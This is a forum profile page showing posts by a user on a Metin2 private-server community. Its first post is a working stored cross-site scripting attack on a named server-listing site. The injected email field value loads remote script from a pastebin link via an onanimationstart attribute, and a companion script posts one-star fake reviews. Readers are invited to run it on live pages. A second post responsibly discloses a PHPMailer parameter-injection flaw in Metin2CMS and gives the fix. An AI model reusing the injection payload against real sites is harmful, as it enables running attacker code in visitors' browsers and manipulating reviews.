-
Posts
4 -
Joined
-
Last visited
-
Feedback
0%
Content Type
Forums
Store
Third Party - Providers Directory
Feature Plan
Release Notes
Docs
Events
Posts posted by metho
-
-
Hi,
Here is a small example of a code injection on the top list: metin2pserver.info.
If you want to test it yourself:
I hosted the following script here ( https://pastebin.com/raw/28VjB803 ):
/** * Rate. * * @param {string} serverId * @param {string} name * @param {string} email * @param {number} rating * @option 1 - Insufficient * @option 2 - Inadequate * @option 3 - Sufficient * @option 4 - Satisfying * @option 5 - Good * @option 6 - Very good * @param {string} comment * @param {number} picture * @option 1 - Warrior (m) * @option 2 - Warrior (f) * @option 3 - Ninja (m) * @option 4 - Ninja (f) * @option 5 - Sura (m) * @option 6 - Sura (f) * @option 7 - Shaman (m) * @option 8 - Shaman (f) */ function rate(serverId, name, email, rating, comment, picture = 1) { const root = document.documentElement; const iframe = document.createElement('iframe'); iframe.style.setProperty('display', 'none'); iframe.src = `https://www.metin2pserver.info/rate.php?id=${serverId}`; return new Promise((resolve) => { iframe.onload = () => { const [s] = iframe.contentDocument.getElementsByName('s'); const token = s && s.value; root.removeChild(iframe); const data = { Name: name, Email: email, Rating: rating, Comments: comment, pic: picture, id: serverId, s: token, }; const params = []; for (const param in data) { const value = data[param]; params.push(encodeURIComponent(param) + '=' + encodeURIComponent(value)); } const body = params.join('&'); if (token) { fetch(iframe.src, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', }, body, }) .then(() => resolve(true)) .catch(() => resolve(false)); } else { resolve(false); } }; root.appendChild(iframe); }); } if (location.hash === '#methowashere') { const serverId = /server-(.*?).html/.exec(location.href)[1]; const name = prompt('Your name'); const comment = prompt('Your comment'); rate(serverId, name, '', 1, comment); }
To inject it, go to a server page (e. g.: https://www.metin2pserver.info/server-mt2aom2.html).
Launch this script on the page:
/** * Rate. * * @param {string} serverId * @param {string} name * @param {string} email * @param {number} rating * @option 1 - Insufficient * @option 2 - Inadequate * @option 3 - Sufficient * @option 4 - Satisfying * @option 5 - Good * @option 6 - Very good * @param {string} comment * @param {number} picture * @option 1 - Warrior (m) * @option 2 - Warrior (f) * @option 3 - Ninja (m) * @option 4 - Ninja (f) * @option 5 - Sura (m) * @option 6 - Sura (f) * @option 7 - Shaman (m) * @option 8 - Shaman (f) */ function rate(serverId, name, email, rating, comment, picture = 1) { const root = document.documentElement; const iframe = document.createElement('iframe'); iframe.style.setProperty('display', 'none'); iframe.src = `https://www.metin2pserver.info/rate.php?id=${serverId}`; return new Promise((resolve) => { iframe.onload = () => { const [s] = iframe.contentDocument.getElementsByName('s'); const token = s && s.value; root.removeChild(iframe); const data = { Name: name, Email: email, Rating: rating, Comments: comment, pic: picture, id: serverId, s: token, }; const params = []; for (const param in data) { const value = data[param]; params.push(encodeURIComponent(param) + '=' + encodeURIComponent(value)); } const body = params.join('&'); if (token) { fetch(iframe.src, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', }, body, }) .then(() => resolve(true)) .catch(() => resolve(false)); } else { resolve(false); } }; root.appendChild(iframe); }); } /** * Inject. * * @param {string} script * @param {string} name */ function injectScript(script, name = 'Dummy') { const serverId = /server-(.*?).html/.exec(location.href)[1]; const code = `$.getScript('${script}')`; const injection = `"style="animation:fb_transform"onanimationstart="${code}"`; console.log(`Server: ${serverId}`); console.log(`Name: ${name}`); console.log(`Script: ${script}`); console.log(`Injections: ${injection}`); return rate(serverId, name, injection, 1, '[...]'); }
You can then inject it like this:
injectScript('https://pastebin.com/raw/28VjB803').then((r) => console.log('Result: ', r));
You can then test it like this: https://www.metin2pserver.info/server-UGMT2.html#mailsywashere
Have fun
- 1
- 1
-
-
Hello everybody,
Since someone asked me about injections in Metin2CMS (targeted CMS: https://metin2cms.cf/), I quickly looked at the code of the CMS mentioned. I also noticed a critical exploit that enables code injections.
The file include\functions\sendEmail.php contains the following code:
$site_name = $_SERVER['SERVER_NAME']; if ($site_name == 'localhost' || $site_name == '127.0.0.1') $site_name = 'metin2cms.cf';
As of Apache 2, $_SERVER['SERVER_NAME'] can be transmitted from the client to the server via the http header Host (like for $_SERVER['HTTP_HOST'] too).
An email is sent in the same file using PHPMailer and the sender is set as follows:
$mail->SetFrom($email_name . '@' . $site_name, $site_title);
The script include\mailer\PHPMailer.php validates the sender as follows:
if (!empty($this->Sender) and static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } }
The validateAddress function uses FILTER_VALIDATE_EMAIL according to RFC 822, which is not sufficient to check e-mails.
The isShellSafe function uses escapeshellcmd, which prevents additional commands from being executed, but it is still possible to pass additional parameters / flags that allow the execution of PHP code.
I wrote with Ionut and thanks to him he already released a full solution for this here: https://github.com/IonutPopescuRO/Metin2CMS/commit/b81859d7962d3054d18f1cbebff9216d3754f507
Fix:
Remove:
$email_name = 'noreplay'; $site_name = $_SERVER['SERVER_NAME']; if ($site_name == 'localhost' || $site_name == '127.0.0.1') $site_name = 'metin2cms.cf';
Replace:
$mail->SetFrom($email_name . '@' . $site_name, $site_title); $mail->AddReplyTo($email_name . "@" . $site_name, $site_title);
With:
$mail->SetFrom($email_username, $site_title); $mail->AddReplyTo($email_username, $site_title);
Btw, i would not suggest setting the variable through Apache using ServerName and UseCanonicalName. These variables should not be used in productive environments.
Hope it helps. Also thanks to @martysama0134 who reached out to him.
- 3
Discussion: How many empires make the most sense?
in Metin2
Posted
What tools would you use to control the influence of a big server or would you do it manually to distribute the players everywhere on the map?